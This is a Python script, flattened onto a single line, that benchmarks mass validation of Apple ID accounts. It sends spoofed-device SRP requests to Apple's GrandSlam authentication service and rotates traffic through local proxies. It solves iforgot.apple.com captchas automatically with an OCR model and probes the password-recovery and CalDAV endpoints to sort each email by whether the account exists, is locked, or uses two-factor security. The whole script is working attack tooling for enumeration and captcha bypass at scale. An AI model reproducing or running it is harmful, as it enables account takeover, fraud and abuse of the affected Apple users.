# -*- coding: utf-8 -*- import base64, collections, datetime, email.utils, hashlib, io, json, os, plistlib, secrets, socket, statistics, subprocess, sys, threading, time, uuid, urllib3, requests from concurrent.futures import ThreadPoolExecutor urllib3.disable_warnings() with open("/tmp/bench_10s_accs.json", "r", encoding="utf-8") as f: ACCOUNTS = json.load(f) PROXY_PORTS = [] for p in range(10810, 10816): try: s = socket.create_connection(("127.0.0.1", p), timeout=0.3) s.close() PROXY_PORTS.append(p) except Exception: pass if not PROXY_PORTS: PROXY_PORTS = [10810] _p_idx = 0 _p_lock = threading.Lock() def next_local_proxy(): global _p_idx with _p_lock: p = PROXY_PORTS[_p_idx % len(PROXY_PORTS)] _p_idx += 1 return f"http://127.0.0.1:{p}" def get_hw_and_ani_info(): cpus = os.cpu_count() or 4 mem_total_mb = 3736 mem_used_mb = 0 try: for line in open("/proc/meminfo"): if line.startswith("MemTotal:"): mem_total_mb = int(line.split()[1]) // 1024 elif line.startswith("MemAvailable:"): avail_mb = int(line.split()[1]) // 1024 mem_used_mb = mem_total_mb - avail_mb except Exception: pass out = subprocess.check_output("ps -eo comm,rss,pcpu | grep -E 'anisette|ld-linux' || true", shell=True).decode() ani_procs, ani_rss_kb = 0, 0 for line in out.strip().splitlines(): pts = line.split() if len(pts) >= 2 and pts[1].isdigit(): ani_procs += 1 ani_rss_kb += int(pts[1]) return { "cpus": cpus, "mem_total_mb": mem_total_mb, "mem_used_mb": mem_used_mb, "proxy_ports": len(PROXY_PORTS), "ani_procs": ani_procs, "ani_rss_mb": round(ani_rss_kb / 1024.0, 1), } _CLOCK_OFFSET = 0.0 try: prx = next_local_proxy() r = requests.get("https://gsa.apple.com/grandslam/GsService2", proxies={"http": prx, "https": prx}, verify=False, timeout=4.0) dt_hdr = r.headers.get("Date") if dt_hdr: apple_ts = email.utils.mktime_tz(email.utils.parsedate_tz(dt_hdr)) _CLOCK_OFFSET = apple_ts - time.time() if abs(_CLOCK_OFFSET) > 60: subprocess.call(f"date -u -s '@{int(apple_ts)}' >/dev/null 2>&1", shell=True) _CLOCK_OFFSET = 0.0 except Exception: pass TOKS = [] for port in range(16969, 16982): try: r2 = requests.get(f"http://127.0.0.1:{port}/?backend=macos", timeout=1.5) if r2.status_code == 200: j = r2.json() md = str(j.get("X-Apple-I-MD") or "") if md.endswith(("gAAAAQ==", "AAAAAQ==")) and j.get("X-Apple-I-MD-M"): TOKS.append(j) except Exception: pass if not TOKS and os.path.isfile("/dev/shm/jc_desktop_ani_pool.json"): try: d = json.load(open("/dev/shm/jc_desktop_ani_pool.json")) for t in (d.get("tokens") or []): md = str(t.get("X-Apple-I-MD") or "") if md.endswith(("gAAAAQ==", "AAAAAQ==")) and t.get("X-Apple-I-MD-M"): TOKS.append(t) except Exception: pass N_HEX = ( "ac6bdb41324a9a9bf166de5e1389582faf72b6651987ee07fc3192943db56050" "a37329cbb4a099ed8193e0757767a13dd52312ab4b03310dcd7f48a9da04fd50" "e8083969edb767b0cf6095179a163ab3661a05fbd5faaae82918a9962f0b93b8" "55f97993ec975eeaa80d740adbf4ff747359d041d5c33ea71d281e446b14773b" "ca97b43a23fb801676bd207a436c6481f1d2b9078717461a5b9d32e688f87748" "544523b524b0d57d5ea77a2775d2ecfa032cfbdbf52fb3786160279004e57ae6" "af874e7303ce53299ccc041c7bc308d82a5698f3a8d0c38271ae35f8e9dbfbb6" "94b5c803d89f7ae435de236d525f54759b65e372fcd68ef20fa7111f9e4aff73" ) N_INT = int(N_HEX, 16) G_INT = 2 N_LEN = 256 def _b_from_int(val): return b"" if val == 0 else val.to_bytes((val.bit_length() + 7) // 8, "big") def _pad_b(val, length=N_LEN): b = _b_from_int(val) return b if len(b) >= length else (b"\x00" * (length - len(b)) + b) _DESKTOP_DEFAULT_CI = " " _DESKTOP_DEFAULT_UA = "akd/1.0 CFNetwork/1128.0.1 Darwin/19.6.0" def build_gsa_pkt(req_dict, j): client_dt = datetime.datetime.fromtimestamp(time.time() + _CLOCK_OFFSET, tz=datetime.timezone.utc) md = str(j.get("X-Apple-I-MD", "") or "") cpd = { "bootstrap": True, "icscrec": True, "pbe": False, "prkgen": True, "svct": "iCloud", "loc": "en_US", "X-Apple-Locale": str(j.get("X-Apple-Locale") or "en_US"), "X-Apple-I-TimeZone": str(j.get("X-Apple-I-TimeZone") or "GMT"), "X-Apple-I-Client-Time": client_dt.strftime("%Y-%m-%dT%H:%M:%SZ"), "X-Apple-I-MD": md, "X-Apple-I-MD-M": j["X-Apple-I-MD-M"], "X-Apple-I-MD-LU": str(j.get("X-Apple-I-MD-LU") or ""), "X-Apple-I-MD-RINFO": "50660608", "X-Apple-I-SRL-NO": str(j.get("X-Apple-I-SRL-NO") or "0"), "X-Mme-Device-Id": str(j.get("X-Mme-Device-Id") or str(uuid.uuid4()).upper()), } req = dict(req_dict) req["cpd"] = cpd body = plistlib.dumps({"Header": {"Version": "1.0.1"}, "Request": req}) hdr = { "Content-Type": "text/x-xml-plist", "Accept": "*/*", "User-Agent": _DESKTOP_DEFAULT_UA, "X-MMe-Client-Info": _DESKTOP_DEFAULT_CI, "Connection": "keep-alive", } return body, hdr def run_gsa_1step(): if not TOKS: return {"wall_s": 0, "acc_per_min": 0, "acc_per_hour_w": 0, "p50_ms": 0, "min_ms": 0, "cats": {"NO_ANI_TOKENS": len(ACCOUNTS)}} tl = threading.local() t_idx = [0] t_lock = threading.Lock() def get_sess(): if not hasattr(tl, "s"): s = requests.Session() s.verify = False; s.trust_env = False prx = next_local_proxy() s.proxies = {"http": prx, "https": prx} tl.s = s return tl.s def pick_tok(): with t_lock: tk = TOKS[t_idx[0] % len(TOKS)] t_idx[0] += 1 return tk def worker(item): em = item[0] s = get_sess() for _ in range(3): tk = pick_tok() a_priv = int.from_bytes(secrets.token_bytes(N_LEN), "big") A_pub = pow(G_INT, a_priv, N_INT) body, hdr = build_gsa_pkt({"A2k": _pad_b(A_pub, N_LEN), "o": "init", "ps": ["s2k", "s2k_fo"], "u": em}, tk) t0 = time.perf_counter() try: r = s.post("https://gsa.apple.com/grandslam/GsService2", data=body, headers=hdr, timeout=4.5) ms = int((time.perf_counter() - t0) * 1000) if r.status_code != 200: continue resp = plistlib.loads(r.content).get("Response", {}) st = resp.get("Status", {}) ec = st.get("ec", 0) em_msg = str(st.get("em", "")) if ec in (-20101, -20970): cat = "INVALID" elif ec in (-20209, -20751, -20755, -20283, -20210, -20280, -20406) or "lock" in em_msg.lower() or "disable" in em_msg.lower(): cat = "LOCKED" elif ec == 0 and resp.get("s") and resp.get("B"): cat = "EXISTS_UNCLASSIFIED" else: cat = f"EC_{ec}" return {"ms": ms, "cat": cat} except Exception: pass return {"ms": 0, "cat": "ERR"} t0 = time.perf_counter() with ThreadPoolExecutor(25) as ex: res = list(ex.map(worker, ACCOUNTS)) wall = max(0.01, time.perf_counter() - t0) ms_list = [r["ms"] for r in res if r["ms"] > 0] or [0] cats = {} for r in res: cats[r["cat"]] = cats.get(r["cat"], 0) + 1 return { "wall_s": round(wall, 2), "acc_per_min": int(len(ACCOUNTS) / wall * 60), "acc_per_hour_w": round(len(ACCOUNTS) / wall * 3600 / 10000.0, 2), "p50_ms": int(statistics.median(ms_list)), "min_ms": int(min(ms_list)), "cats": cats, } _ASCII_ALNUM_PAIRS = ( (0, ""), (78, "2"), (247, "I"), (283, "I"), (320, "V"), (357, "F"), (409, "7"), (676, "G"), (687, "D"), (747, "M"), (761, "C"), (806, "r"), (821, "Y"), (1066, "b"), (1107, "c"), (1133, "L"), (1451, "U"), (1583, "J"), (1614, "I"), (1638, "f"), (1711, "R"), (1769, "v"), (1921, "C"), (2041, "i"), (2089, "l"), (2203, "B"), (2404, "4"), (2504, "c"), (2525, "E"), (2580, "8"), (2619, "E"), (2663, "u"), (2671, "2"), (2879, "9"), (3022, "D"), (3072, "k"), (3144, "Z"), (3328, "2"), (3336, "9"), (3349, "5"), (3466, "s"), (3879, "F"), (3930, "P"), (3963, "Z"), (3975, "6"), (4050, "n"), (4272, "i"), (4410, "1"), (4413, "4"), (4488, "G"), (4617, "m"), (4658, "1"), (4666, "K"), (4713, "T"), (4730, "z"), (4771, "A"), (4810, "W"), (5027, "p"), (5046, "T"), (5189, "W"), (5225, "X"), (5404, "7"), (5418, "O"), (5554, "H"), (5598, "A"), (5623, "6"), (5720, "8"), (5726, "d"), (5734, "V"), (5806, "4"), (5946, "1"), (5961, "6"), (6059, "r"), (6070, "R"), (6165, "B"), (6185, "j"), (6216, "N"), (6257, "e"), (6386, "S"), (6601, "Q"), (6603, "5"), (6612, "y"), (6672, "L"), (6736, "x"), (6749, "0"), (6888, "3"), (6939, "o"), (6942, "9"), (6977, "5"), (6979, "8"), (7025, "a"), (7046, "3"), (7074, "o"), (7136, "w"), (7198, "a"), (7201, "t"), (7262, "R"), (7284, "U"), (7405, "q"), (7408, "H"), (7721, "3"), (7723, "t"), (7759, "2"), (7981, "0"), (8119, "g"), (8127, "7"), (8196, "h"), ) _FORBIDDEN = {"0", "1", "I", "O"} _GROUPS = {"_": [0]} for _i, _c in _ASCII_ALNUM_PAIRS: if _i == 0: continue _cu = _c.upper() if _cu in _FORBIDDEN: continue _GROUPS.setdefault(_cu, []).append(_i) _KEYS = list(_GROUPS.keys()) _COLS_LIST = [_GROUPS[k] for k in _KEYS] _VALID_COLS = [0] + [_i for _i, _c in _ASCII_ALNUM_PAIRS if _i != 0 and _c.upper() not in _FORBIDDEN] def run_new_interface(): import numpy as np from PIL import Image import onnxruntime as ort opts = ort.SessionOptions() opts.intra_op_num_threads = 1 opts.inter_op_num_threads = 1 opts.log_severity_level = 3 ort_sess = ort.InferenceSession("/tmp/common_old.onnx", sess_options=opts, providers=["CPUExecutionProvider"]) in_name = ort_sess.get_inputs()[0].name ort_lock = threading.Lock() def classify_hq(img_bytes): with Image.open(io.BytesIO(img_bytes)) as im: w, h = im.size tw = max(16, int(w * (64.0 / h))) resample = getattr(Image, "Resampling", Image).LANCZOS arr = np.asarray(im.resize((tw, 64), resample).convert("L"), dtype=np.float32) / 255.0 with ort_lock: out = ort_sess.run(None, {in_name: arr[None, None, :, :]})[0][:, 0, :] sub = out[:, _VALID_COLS] exp_s = np.exp(sub - np.max(sub, axis=-1, keepdims=True)) probs_all = np.zeros_like(out) probs_all[:, _VALID_COLS] = exp_s / np.sum(exp_s, axis=-1, keepdims=True) merged = np.stack([np.sum(probs_all[:, cols], axis=-1) for cols in _COLS_LIST], axis=-1) pred_k = np.argmax(merged, axis=-1) chars, purities, ghost_probs = [], [], [] prev = -1 for t, kv in enumerate(pred_k): kv = int(kv) pb = float(merged[t, 0]) pv = float(merged[t, kv]) if kv == 0: ghost_probs.append(1.0 - pb) else: pur = pv / max(1e-6, 1.0 - pb) if kv != prev: chars.append(_KEYS[kv]); purities.append(pur) else: purities[-1] = max(purities[-1], pur) prev = kv ans = "".join(chars) mp = min(purities) if purities else 0.0 mg = max(ghost_probs) if ghost_probs else 1.0 is_hq = (len(ans) in (4, 5)) and (mp >= 0.72) and (mg <= 0.38) return ans, is_hq, mp UA = "com.apple.supportapp/5.2 iOS/17.4.1 model/iPhone14,5" dq = collections.deque() dq_lock = threading.Lock() hq_cnt = [0] def fetch_ticket(_): for _ in range(2): s = requests.Session() s.verify = False; s.trust_env = False prx = next_local_proxy() s.proxies = {"http": prx, "https": prx} try: r = s.get( "https://iforgot.apple.com/captcha?captchaType=IMAGE", headers={"User-Agent": UA, "Accept": "application/json, text/javascript, */*; q=0.01", "X-Requested-With": "XMLHttpRequest"}, timeout=4.5, ) if r.status_code not in (200, 401): s.close(); continue j = r.json() b64 = (j.get("payload") or {}).get("content") or "" if not b64: s.close(); continue ans, is_hq, mp = classify_hq(base64.b64decode(b64)) if ans and 4 <= len(ans) <= 6 and mp >= 0.45: with dq_lock: if is_hq: hq_cnt[0] += 1 dq.appendleft((s, j["id"], j["token"], ans)) else: dq.append((s, j["id"], j["token"], ans)) return True s.close() except Exception: s.close() return False with ThreadPoolExecutor(30) as ex: list(ex.map(fetch_ticket, range(75))) cal_tl = threading.local() def check_caldav_locked(em): if not hasattr(cal_tl, "s"): s = requests.Session() s.verify = False; s.trust_env = False prx = next_local_proxy() s.proxies = {"http": prx, "https": prx} cal_tl.s = s b64 = base64.b64encode(f"{em}:AppleCheck123".encode()).decode() try: r = cal_tl.s.request( "PROPFIND", "https://caldav.icloud.com/", headers={"Authorization": f"Basic {b64}", "Depth": "0", "User-Agent": "iOS/17.4 dataaccessd/1.0"}, timeout=4.0, ) return r.status_code == 403 except Exception: return False stop_bg = [False] def bg_refill(): while not stop_bg[0]: with dq_lock: cur_len = len(dq) if cur_len < 35: fetch_ticket(0) else: time.sleep(0.05) bg_threads = [threading.Thread(target=bg_refill, daemon=True) for _ in range(10)] for t in bg_threads: t.start() def verify_one(item): em = item[0] for tr in range(1, 5): tk = None with dq_lock: if dq: tk = dq.popleft() if not tk: fetch_ticket(0) with dq_lock: if dq: tk = dq.popleft() if not tk: continue s, cid, ctok, ans = tk t0 = time.perf_counter() try: r = s.post( "https://iforgot.apple.com/password/verify/appleid", headers={ "User-Agent": UA, "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Origin": "https://iforgot.apple.com", "Referer": "https://iforgot.apple.com/password/verify/appleid", }, json={"id": em, "captcha": {"id": cid, "answer": ans, "token": ctok}}, allow_redirects=False, timeout=4.5, ) step_ms = int((time.perf_counter() - t0) * 1000) s.close() body = r.text or "" loc = r.headers.get("Location", "").lower() if r.status_code in (429, 500, 502, 503, 504, 509) or "captchaAnswer.Invalid" in body: continue if "appleId.Invalid" in body or "notFound" in body or "not valid" in body.lower(): cat = "INVALID" elif "/password/authenticationmethod" in loc: cat = "SA_LOCKED" elif "inactive" in loc or "inactive" in body.lower(): cat = "INACTIVE" elif "/password/verify/phone" in loc: cat = "HSA2_LOCKED" if check_caldav_locked(em) else "HSA2_ACTIVE" elif "/recovery/options" in loc or "/password/verify/questions" in loc: cat = "SA_LOCKED" if check_caldav_locked(em) else "SA_ACTIVE" else: cat = f"OTHER_{r.status_code}" return {"ms": step_ms, "tries": tr, "cat": cat} except Exception: s.close() return {"ms": 0, "tries": 4, "cat": "ERR"} t0 = time.perf_counter() with ThreadPoolExecutor(25) as ex: res = list(ex.map(verify_one, ACCOUNTS)) wall = max(0.01, time.perf_counter() - t0) stop_bg[0] = True ms_list = [r["ms"] for r in res if r["ms"] > 0] or [0] valid_tries = [r["tries"] for r in res if r["cat"] != "ERR"] hit1 = sum(1 for t in valid_tries if t == 1) hit2 = sum(1 for t in valid_tries if t <= 2) cats = {} for r in res: cats[r["cat"]] = cats.get(r["cat"], 0) + 1 return { "hq_tickets": hq_cnt[0], "wall_s": round(wall, 2), "acc_per_min": int(len(ACCOUNTS) / wall * 60), "acc_per_hour_w": round(len(ACCOUNTS) / wall * 3600 / 10000.0, 2), "p50_ms": int(statistics.median(ms_list)), "min_ms": int(min(ms_list)), "hit1_num": hit1, "hit2_num": hit2, "valid_num": len(valid_tries), "hit1_str": f"{hit1}/{len(valid_tries)} ({hit1/max(1,len(valid_tries))*100:.1f}%)", "hit2_str": f"{hit2}/{len(valid_tries)} ({hit2/max(1,len(valid_tries))*100:.1f}%)", "cats": cats, } def main(): info = get_hw_and_ani_info() gsa = run_gsa_1step() new_if = run_new_interface() out = {"hw": info, "gsa": gsa, "new_if": new_if} print("NODE_JSON_START" + json.dumps(out, ensure_ascii=False) + "NODE_JSON_END", flush=True) os._exit(0) if __name__ == "__main__": main()